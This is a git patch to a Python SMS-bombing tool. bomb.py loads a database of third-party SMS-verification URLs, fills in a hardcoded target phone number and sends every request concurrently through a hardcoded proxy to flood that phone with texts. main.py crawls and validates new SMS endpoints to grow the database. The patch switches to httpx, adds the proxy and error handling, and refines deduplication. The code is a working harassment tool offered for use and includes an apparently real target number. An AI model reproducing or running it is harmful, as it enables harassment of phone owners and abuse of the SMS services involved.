From 0548f9c70db86b46e0aea85b0ba3f7613fcd682b Mon Sep 17 00:00:00 2001 From: AdminWhaleFall <2734184475@qq.com> Date: Mon, 30 Aug 2021 12:05:48 +0800 Subject: [PATCH] =?UTF-8?q?=F0=9F=8E=88=20perf:=20=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E6=89=B9=E9=87=8F=E6=B5=8B=E8=AF=95=E6=8E=A5=E5=8F=A3=EF=BC=8C?= =?UTF-8?q?=E6=9B=B4=E6=96=B0=E9=83=A8=E5=88=86=E6=8E=A5=E5=8F=A3=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- bomb.py | 18 ++++++++++-------- db/data.db | Bin 323584 -> 323584 bytes main.py | 28 +++++++++++++++++----------- utils/db_sqlite.py | 6 ++++-- 4 files changed, 31 insertions(+), 21 deletions(-) diff --git a/bomb.py b/bomb.py index 3f08934..eb0d358 100644 --- a/bomb.py +++ b/bomb.py @@ -3,11 +3,11 @@ ''' Author: whalefall Date: 2021-08-07 21:23:35 -LastEditTime: 2021-08-10 17:10:07 +LastEditTime: 2021-08-30 11:54:39 Description: 异步轰炸 ''' +import httpx import asyncio -import aiohttp from utils.db_sqlite import Sql header = { @@ -15,18 +15,20 @@ header = { } -async def get(url, session: aiohttp.ClientSession): +async def get(url, session: httpx.AsyncClient): '''异步请求''' print(f"开始请求{url}") - async with session.get(url, headers=header) as resp: - status = await resp.text() - print(status) - + try: + # resp = session.get(url, headers=header) + status = await session.get(url, headers=header) + print(status.text) + except Exception as e: + print(f'请求失败{url}.{e}') async def main(): urls = Sql().select() tasks = [] - async with aiohttp.ClientSession() as session: + async with httpx.AsyncClient(timeout=8,proxies={"all://":"http://120.52.73.44:18080"}) as session: for url in urls: url = url.replace("{phone}", "19820294268") task = asyncio.create_task(get(url, session)) diff --git a/db/data.db b/db/data.db index b57274226a4e1c173fb555dbcd4bb60b916a45db..12fa51fd8ba73ef66837df2c4fbc0a783effde5f 100644 GIT binary patch delta 1791 zcmchY!Ef7C9LL{#ex+#~+iTNQZMQF5#T)1ri00=~PKnNsy7(xP}G3>}yM2k?-DlA#H zpMUT7{Q17$@9UMV@XA*B`eB&9apY`g8n9E>DdsnTm@Htj%w4B*3+HJovwpRaWg5}w z(_jfOzcMoYGkukwqNCIU>T^n^o(g>(%8(BcZ5>SvTiL{$P;T5wT!J`@YeN=1eX4uJ zJz_>d*A#xSd0E0@<5F^y>KOn6z+d7wh;71RK42!95PSrCt)A3z>!s932(Z?6>e=O* zg4d={pB;-n>CiD1=VHEBAAHzr_ zrklbQrDUqQ#&b#bg(j7?ez|-3!c45JzpZF|%*#B{OzcMrk}fMe$0e||8pPKk2S_5$ z8DmYF6D=HX>~BaePixF)Y9c*qz&?BP4(hWHZ=x=HavBAbE{7NFvv{{H9`9)nQ?5at z{rwv_Xtzb-Nkm<=Pe)smyZK zYMzz!x%gz}Ww9)di&ELs*Hkn)Ic?^ff==r>wb&}3S?A_3RE{2sf;3=0WX{n`)E}Xr zK-%ugz>!{-5Ox+Z=S+4^)bqN|N}7Em1tSRO-&xE+_e9QOhIse8CmFEe);riBdprIN z+zoUS-?j@+97p$ zsjy~2Hmg-nL6F*q>I2v{S3%wb`ByasV(v zdV!8n{h<@&kL3GgnjG-lfFS#yujdIM_`SGS-Q{!jSqy5Oe!zZ3`G-Bu))hC=F+b6M zIhX$(^n6`*lZL&dkGW?xsV-r#Hsyccjw@;ZpDi7fE3F3VISj5vc9A>=i02ar>Pjd7 at1Dfoi|#%T*`Lv9v}^D0$646Mb@&&+BVbkl delta 401 zcmV;C0dD?);1hu06ObDLMUfms5k&wlG$0KR_y7VAQ2-B756ib9-~{{%w?Kdc5A_dZ4($$l4oeOo4e|}Z4QUM@4B8A(3;mNMFf9S~lTa{S0k*TQFkk_b zijYtO0HU*CGNcU>8vtJb1jYne1MUNp52FuC4-AtUKqv$P#R7|yLO`kl0wI&`Kq`~J zcRiPi4FM>#9CwZZvkOD{+yNk$1t0-8mp&i?8n;#;0UHYf0x*+6@==!%90C%v2lL4R zx1TKmWg-qA0DAxrr4L39eGU5z>X#Hy0XUOIATft~PyvT~Py)AmPy>nIAPxYc01r_B zq6-)a{s_wm6a(D{Uj`@w%nz&u*$q(y>XSjBez&491R((g0SglXmr?xzt(T2B11Fat zKLjuVCb!Ho1UNkbB9{el1V0Q4lL$}(") @@ -65,15 +67,17 @@ class SMS(object): try: with requests.get(api.replace("{phone}", SMS.default_phone), headers=self.header, timeout=20, verify=False) as resp: if resp.status_code == 200: - print( - f"线程{threading.current_thread().name}:已添加{api}队列数:{str(self.api_queue.qsize())}") + print(f'线程{threading.current_thread().name}:[SUC]校验成功!队列数:{str(self.api_queue.qsize())}') with self.lock: # 多线程写sqlite数据库要加锁 - self.db.update(api) - + r = self.db.update(api) + if r: + print( + f"线程{threading.current_thread().name}:已添加{api} 队列数:{str(self.api_queue.qsize())}") except Exception as e: print( - f"线程{threading.current_thread().name}出错:{e}队列数:{str(self.api_queue.qsize())}") + f"线程{threading.current_thread().name}出错 队列数:{str(self.api_queue.qsize())}") + pass finally: self.api_queue.task_done() @@ -112,4 +116,6 @@ if __name__ == '__main__': url = "https://hz.79g.cn/index.php" # 0pcall=15019682928&c=1 需要加f格式化字符串!! spider = SMS(url, key=f'?0pcall={SMS.default_phone}&ok=') + # url = 'https://120.77.244.209/sdlz/yh.php' + # spider = SMS(url) spider.main() diff --git a/utils/db_sqlite.py b/utils/db_sqlite.py index 6f980c7..81a4876 100644 --- a/utils/db_sqlite.py +++ b/utils/db_sqlite.py @@ -3,7 +3,7 @@ ''' Author: whalefall Date: 2021-08-07 14:59:08 -LastEditTime: 2021-08-10 17:08:54 +LastEditTime: 2021-08-30 11:55:18 Description: python操作数据库 ''' import sqlite3 @@ -41,8 +41,10 @@ CREATE TABLE IF NOT EXISTS API200 ( try: self.cursor.execute(sql, (url,)) self.client.commit() + return True except sqlite3.IntegrityError: - print(f"{url} 数据重复!") + # print(f"{url} 数据重复!") + return False def select(self) -> list: '''获取所有接口'''